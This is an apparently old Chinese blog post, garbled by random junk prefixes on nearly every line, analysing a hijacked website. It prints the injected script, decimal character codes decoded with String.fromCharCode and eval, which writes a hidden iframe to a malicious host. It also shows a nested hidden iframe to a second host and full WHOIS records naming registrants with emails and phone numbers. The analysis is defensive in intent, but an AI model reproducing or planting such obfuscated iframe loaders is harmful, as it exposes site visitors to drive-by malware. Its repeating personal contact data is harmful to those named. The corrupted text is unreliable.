首发在我的博客里面，
g",htYoEnj &{c. JDO http://www.areway.cn/?p=175 9I; d>% G&HCOR!h zg2}R4h 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
6eh\-+= z.q^`01/H <script>t=’60,105,102,114,97,109,101,
%`[O z[V 32,115,114,99,61,104,116,116,112,58,47,47,
3b2[i,m<L 102,114,101,101,46,117,45,117,117,117,46,99,
T!*lTzNHm 110,47,101,114,114,111,114,46,104,116,109,
=k\V~8XZ 32,119,105,100,116,104,61,49,48,48,32,104,
?(4E le 101,105,103,104,116,61,48,62,60,47,105,102,
[Cx'a7KWL 114,97,109,101,62′;
U- UD27 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
7x IXFuu eiV[y^? <script>t=’60,105,102,114,97,109,101,32,115,
dyz)22{\!` 114,99,61,104,116,116,112,58,47,47,102,114,
uwcm%N;I" 101,101,46,117,45,117,117,117,46,99,110,47,
{m ) $ b 101,114,114,111,114,46,104,116,109,32,119,
^T#bla893 105,100,116,104,61,49,48,48,32,104,101,105,
tJ
NJ S 103,104,116,61,48,62,60,47,105,102,114,97,
%&RF;qa2xu 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
69{BJ] q document.write(t);</script>
4iD-jM_D M6 W { mek <html xmlns=”
7 )`U%}R http://www.w3.org/1999/xhtml (|EnRk-E “>
t0 1@h_ WS <head>
GEdWpYKS-` <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Be=J*D!E=> <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
h2SVDKj <title>首页 - 爱生活家庭网
\~]HfDu iz&$q ]P8 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
wE.CZ% f 转换字符串后的大概内容是（谁点击后果自付）：
,F,\bp } <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
,dTRM ^]&uMkPN 查询玉米u-uuu.cn的详细信息：
) ]/gu\90 Domain Name: u-uuu.cn
kPm{ tc
ROID: 20070901s10001s64972306-cn
ETw7/S${ Domain Status: ok
hGPo{>xR Registrant Organization: 王雷
mIK-a {?G Registrant Name: 王雷
TzC'x WO
Administrative Email:
czlovexs@126.com Ua>lf8w< Sponsoring Registrar: 北京万网志成科技有限公司
&Hb;; Ic( Name Server:ns.yovole.com
7*9a`p3w Name Server:ns1.yovole.com
lTe7n'y^^ Registration Date: 2007-09-01 17:54
KxZO.>, Expiration Date: 2008-09-01 17:54
`K , {Y_ 最后PING了一下地址 都没有什么….
8
z ) K ~$GRgOn 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
PJq;OM| <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
yMU>v r <script language=”javascript” src=”
A{[joo http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script NtuO&{}i >
dr|>P* 这个玉米应该有可能是木马作者的：
s#%$aQ|Fp foafau.info的详细信息：
yJCqP= Access to INFO WHOIS information is provided to assist persons in
wx a?. determining the contents of a domain name registration record in the
u3"0K['3 Afilias registry database. The data in this record is provided by
?s=O6D&
Afilias Limited for informational purposes only, and Afilias does not
Vq'\`$_
guarantee its accuracy. This service is intended only for query-based
5r *5Co+ access. You agree that you will use this data only for lawful purposes
eI+<^p_j2 and that, under no circumstances will you use this data to: (a) allow,
77FI&*q enable, or otherwise support the transmission by e-mail, telephone, or
_GoV\wGKl facsimile of mass unsolicited, commercial advertising or solicitations
LH=gNFgzt to entities other than the data recipient’s own existing customers; or
#DBg8 (b) enable high volume, automated, electronic processes that send
[Eeanl&x> queries or data to the systems of Registry Operator, a Registrar, or
e wo]-BQS Afilias except as reasonably necessary to register domain names or
i++a^f modify existing registrations. All rights reserved. Afilias reserves
$pV:)N4 the right to modify these terms at any time. By submitting this query,
YP^=b} you agree to abide by this policy.
JHxy_<p/ Domain ID:D22418703-LRMS
/s@ t-gTi Domain Name:FOAFAU.INFO
4pvT?s>68 Created On:20-Nov-2007 16:05:42 UTC
w\"~ *(M Last Updated On:20-Nov-2007 16:05:44 UTC
-C]k YQ
Expiration Date:20-Nov-2008 16:05:42 UTC
# 41xzN Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
^#|Sl D] Status:CLIENT DELETE PROHIBITED
$pK lF0 . Status:CLIENT RENEW PROHIBITED
KASuSg+ Status:CLIENT TRANSFER PROHIBITED
+-DF3( Status:CLIENT UPDATE PROHIBITED
OcA_ m. Status:TRANSFER PROHIBITED
|WiE`&?xP Registrant ID:GODA-040110615
hA6
Registrant Name:liu hong
iKJ-$ x_5 Registrant Organization:
kLsp0% 2 Registrant Street1:beijing
1V\tKDM Registrant Street2:
)\ S 3Q Registrant Street3:
o!]muO*Rm Registrant City:beijing
Jy#c 6 Registrant State/Province:
dRdI (' Registrant Postal Code:100000
b W]7$?acv Registrant Country:CN
HE;}B!> Registrant Phone:+86.860108888777
iyA=d{S;V Registrant Phone Ext.:
~XzT~WxW Registrant FAX:
;P S V3Zh Registrant FAX Ext.:
v qt#JdPp9 Registrant Email:bbbshiji@163.com
'n: |D7t Admin ID:GODA-240110615
Vu0d\ l^$ Admin Name:liu hong
zBQV2.@ Admin Organization:
wMW."gM| Admin Street1:beijing
u|ph_?6 o Admin Street2:
1zGD~[M Admin Street3:
O$qxo
& Admin City:beijing
C+0MzfLgf Admin State/Province:
KKB rw+)AJ Admin Postal Code:100000
B(pxyv) Admin Country:CN
)j/2Z-Ev:W Admin Phone:+86.860108888777
:w!A_~ w2 Admin Phone Ext.:
_>8rTk`/h Admin FAX:
_#UiY
ffa* Admin FAX Ext.:
9QQiIi$74U Admin Email:bbbshiji@163.com
Dias!$g Billing ID:GODA-340110615
Wc*jTip Billing Name:liu hong
V-{3)6I$hG Billing Organization:
R ]h3a :ic Billing Street1:beijing
b<\2j5 Billing Street2:
ME0vXi Billing Street3:
]9
JLu8GO Billing City:beijing
R)@2={fd} Billing State/Province:
:F |ll? Billing Postal Code:100000
J~]Y Billing Country:CN
oe'f?IY Billing Phone:+86.860108888777
@%'1Jd7-Wp Billing Phone Ext.:
]<3n;*8k? Billing FAX:
P<%}!Y Billing FAX Ext.:
W\c1Q Y$E Billing Email:bbbshiji@163.com
_o52#Q4 Tech ID:GODA-140110615
\,AE5hnO Tech Name:liu hong
3 T1,:r Tech Organization:
V0l"tr@ Tech Street1:beijing
AMw#_8Y Tech Street2:
K7 J RCLA Tech Street3:
Q$yMU [ l) Tech City:beijing
5%_aN_1?ef Tech State/Province:
22T \ -g{ Tech Postal Code:100000
K8=jk U Tech Country:CN
Sx0/Dm Tech Phone:+86.860108888777
b8
^O"oDrp Tech Phone Ext.:
}@y(-7t Tech FAX:
oH,{'S@q Tech FAX Ext.:
Cqs+ o^q Tech Email:bbbshiji@163.com
W ZT) LYA Name Server:NS27.DOMAINCONTROL.COM
^Q\Hy\ Name Server:NS28.DOMAINCONTROL.COM
57K\sT4[ Name Server:
$} @gR]
Z Name Server:
:R{pV7<O Name Server:
\{a!Z&df Name Server:
6!`GUU Name Server:
O#do\:(b Name Server:
[ *~2Ts Name Server:
45,): U5 Name Server:
Tc .Qz D\ Name Server:
0H +! v Name Server:
T4nWK!}z Name Server:
9+iz+ .6=;{h4cpB 接着下载每个文件里面的代码：
i91 =h 一步一步看..
~m'8<B5+ 
h+ms%tNT 
&z]x\4#, 
H%b c.c 
L>Y3t1= 
~n~j2OE 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
